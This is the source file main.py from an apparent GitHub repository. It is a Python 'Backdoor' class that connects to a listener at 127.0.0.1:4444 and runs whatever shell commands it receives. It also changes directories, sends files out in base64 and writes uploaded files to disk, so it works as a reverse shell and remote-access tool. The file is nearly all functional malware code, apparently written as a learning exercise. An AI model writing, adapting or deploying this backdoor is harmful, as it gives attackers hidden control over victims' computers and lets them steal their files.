-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.py
68 lines (57 loc) · 2.31 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import socket
import subprocess
import json
import os
import base64
class Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data.encode())
def reliable_receive(self, data):
json_data = b""
while True:
try:
json_data = json_data + self.connection.recv(999999)
return json.loads(json_data)
except ValueError:
continue
def execute_system_command(self, command):
return subprocess.check_output(command, shell=True)
def change_working_directory_to(self, path):
os.chdir(path)
return "[+] Changing Working Directory To " + path
print(path)
def read_file(self, path):
with open(path, "rb") as file:
return base64.b64encode(file.read())
def write_file(self, path, content):
with open(path, "wb") as file:
file.write(base64.b64decode(content))
return "[+] Upload Successful."
def pcspec(self, command):
return subprocess.check_output(command, shell=True)
def run(self):
while True:
command = self.reliable_receive(9999)
try:
if command[0] == "exit":
self.connection.close()
exit()
elif command[0] == "cd" and len(command) > 1:
command_result = self.change_working_directory_to(command[1])
elif command[0] == "download":
command_result = self.read_file(command[1]).decode()
elif command[0] == "pcspec":
command_result = self.decode()
elif command[0] == "upload":
command_result = self.write_file(command[1], command[2])
else:
command_result = self.execute_system_command(command).decode()
except Exception:
command_result = "[-] Error during command execution"
self.reliable_send(command_result)
my_backdoor = Backdoor("127.0.0.1", 4444)
my_backdoor.run()